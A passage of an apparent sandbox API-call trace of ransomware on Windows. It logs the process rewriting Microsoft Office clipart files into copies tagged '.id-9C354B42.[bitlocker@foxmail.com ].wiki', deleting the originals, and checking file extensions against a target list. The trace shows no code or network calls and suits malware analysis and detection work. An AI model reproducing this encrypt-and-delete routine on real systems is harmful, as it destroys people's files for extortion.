Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0060.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0060.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0060.955] lstrlenW (lpString=".doc") returned 4 [0060.955] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.955] lstrlenW (lpString=".docx") returned 5 [0060.955] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.955] lstrlenW (lpString=".pdf") returned 4 [0060.955] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.955] lstrlenW (lpString=".xls") returned 4 [0060.955] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.956] lstrlenW (lpString=".xlsx") returned 5 [0060.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.956] lstrlenW (lpString=".ppt") returned 4 [0060.956] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0060.956] lstrlenW (lpString=".zip") returned 4 [0060.956] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.956] lstrlenW (lpString=".rar") returned 4 [0060.956] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.956] lstrlenW (lpString=".bz2") returned 4 [0060.956] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.956] lstrlenW (lpString=".7z") returned 3 [0060.956] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0060.956] lstrlenW (lpString=".dbf") returned 4 [0060.956] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0060.956] lstrlenW (lpString=".1cd") returned 4 [0060.956] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0060.956] lstrlenW (lpString=".jpg") returned 4 [0060.956] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0060.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0060.956] lstrlenW (lpString=".doc") returned 4 [0060.956] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.956] lstrlenW (lpString=".docx") returned 5 [0060.956] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.956] lstrlenW (lpString=".pdf") returned 4 [0060.956] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.956] lstrlenW (lpString=".xls") returned 4 [0060.956] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.957] lstrlenW (lpString=".xlsx") returned 5 [0060.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.957] lstrlenW (lpString=".ppt") returned 4 [0060.957] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0060.957] lstrlenW (lpString=".zip") returned 4 [0060.957] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.957] lstrlenW (lpString=".rar") returned 4 [0060.957] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.957] lstrlenW (lpString=".bz2") returned 4 [0060.957] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.957] lstrlenW (lpString=".7z") returned 3 [0060.957] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0060.957] lstrlenW (lpString=".dbf") returned 4 [0060.957] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0060.957] lstrlenW (lpString=".1cd") returned 4 [0060.957] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0060.957] lstrlenW (lpString=".jpg") returned 4 [0060.957] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.957] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0060.957] lstrlenW (lpString="AN00015_.WMF") returned 12 [0060.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.958] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=4734) returned 1 [0060.958] CloseHandle (hObject=0x180) returned 1 [0060.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0060.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.958] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.958] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.958] GetLastError () returned 0x0 [0060.958] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x127e, lpOverlapped=0x0) returned 1 [0061.032] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1280, lpOverlapped=0x0) returned 1 [0061.033] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.033] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.033] SetEndOfFile (hFile=0x20c) returned 1 [0061.033] CloseHandle (hObject=0x20c) returned 1 [0061.033] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.033] SetEndOfFile (hFile=0x180) returned 1 [0061.034] CloseHandle (hObject=0x180) returned 1 [0061.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0061.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0061.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0061.035] lstrlenW (lpString=".doc") returned 4 [0061.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString=".docx") returned 5 [0061.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.035] lstrlenW (lpString=".pdf") returned 4 [0061.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString=".xls") returned 4 [0061.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.035] lstrlenW (lpString=".xlsx") returned 5 [0061.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.035] lstrlenW (lpString=".ppt") returned 4 [0061.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0061.035] lstrlenW (lpString=".zip") returned 4 [0061.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.035] lstrlenW (lpString=".rar") returned 4 [0061.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString=".bz2") returned 4 [0061.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString=".7z") returned 3 [0061.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0061.035] lstrlenW (lpString=".dbf") returned 4 [0061.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0061.035] lstrlenW (lpString=".1cd") returned 4 [0061.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0061.036] lstrlenW (lpString=".jpg") returned 4 [0061.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0061.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0061.036] lstrlenW (lpString=".doc") returned 4 [0061.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString=".docx") returned 5 [0061.036] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.036] lstrlenW (lpString=".pdf") returned 4 [0061.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString=".xls") returned 4 [0061.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.036] lstrlenW (lpString=".xlsx") returned 5 [0061.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.036] lstrlenW (lpString=".ppt") returned 4 [0061.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0061.036] lstrlenW (lpString=".zip") returned 4 [0061.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.036] lstrlenW (lpString=".rar") returned 4 [0061.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString=".bz2") returned 4 [0061.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString=".7z") returned 3 [0061.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0061.036] lstrlenW (lpString=".dbf") returned 4 [0061.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0061.036] lstrlenW (lpString=".1cd") returned 4 [0061.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0061.036] lstrlenW (lpString=".jpg") returned 4 [0061.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.037] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.037] lstrlenW (lpString="AN00914_.WMF") returned 12 [0061.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.038] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=10832) returned 1 [0061.038] CloseHandle (hObject=0x180) returned 1 [0061.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0061.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.038] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.038] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0061.038] GetLastError () returned 0x0 [0061.038] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x2a50, lpOverlapped=0x0) returned 1 [0061.040] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0061.041] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.041] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.041] SetEndOfFile (hFile=0x20c) returned 1 [0061.041] CloseHandle (hObject=0x20c) returned 1 [0061.041] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.041] SetEndOfFile (hFile=0x180) returned 1 [0061.042] CloseHandle (hObject=0x180) returned 1 [0061.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0061.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0061.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0061.043] lstrlenW (lpString=".doc") returned 4 [0061.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.043] lstrlenW (lpString=".docx") returned 5 [0061.043] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.043] lstrlenW (lpString=".pdf") returned 4 [0061.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.043] lstrlenW (lpString=".xls") returned 4 [0061.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.043] lstrlenW (lpString=".xlsx") returned 5 [0061.043] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.043] lstrlenW (lpString=".ppt") returned 4 [0061.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0061.043] lstrlenW (lpString=".zip") returned 4 [0061.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.043] lstrlenW (lpString=".rar") returned 4 [0061.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.043] lstrlenW (lpString=".bz2") returned 4 [0061.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.043] lstrlenW (lpString=".7z") returned 3 [0061.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0061.043] lstrlenW (lpString=".dbf") returned 4 [0061.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0061.043] lstrlenW (lpString=".1cd") returned 4 [0061.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0061.043] lstrlenW (lpString=".jpg") returned 4 [0061.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0061.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0061.043] lstrlenW (lpString=".doc") returned 4 [0061.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.044] lstrlenW (lpString=".docx") returned 5 [0061.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.044] lstrlenW (lpString=".pdf") returned 4 [0061.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.044] lstrlenW (lpString=".xls") returned 4 [0061.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.044] lstrlenW (lpString=".xlsx") returned 5 [0061.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.044] lstrlenW (lpString=".ppt") returned 4 [0061.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0061.044] lstrlenW (lpString=".zip") returned 4 [0061.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.044] lstrlenW (lpString=".rar") returned 4 [0061.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.044] lstrlenW (lpString=".bz2") returned 4 [0061.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.044] lstrlenW (lpString=".7z") returned 3 [0061.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0061.044] lstrlenW (lpString=".dbf") returned 4 [0061.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0061.044] lstrlenW (lpString=".1cd") returned 4 [0061.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0061.045] lstrlenW (lpString=".jpg") returned 4 [0061.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.045] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.045] lstrlenW (lpString="AN00932_.WMF") returned 12 [0061.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.045] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=14428) returned 1 [0061.045] CloseHandle (hObject=0x180) returned 1 [0061.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0061.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.046] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.046] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0061.046] GetLastError () returned 0x0 [0061.046] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x385c, lpOverlapped=0x0) returned 1 [0061.077] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x3860, lpOverlapped=0x0) returned 1 [0061.078] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.078] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.078] SetEndOfFile (hFile=0x20c) returned 1 [0061.078] CloseHandle (hObject=0x20c) returned 1 [0061.079] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.079] SetEndOfFile (hFile=0x180) returned 1 [0061.079] CloseHandle (hObject=0x180) returned 1 [0061.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0061.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0061.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0061.080] lstrlenW (lpString=".doc") returned 4 [0061.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.080] lstrlenW (lpString=".docx") returned 5 [0061.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.080] lstrlenW (lpString=".pdf") returned 4 [0061.080] 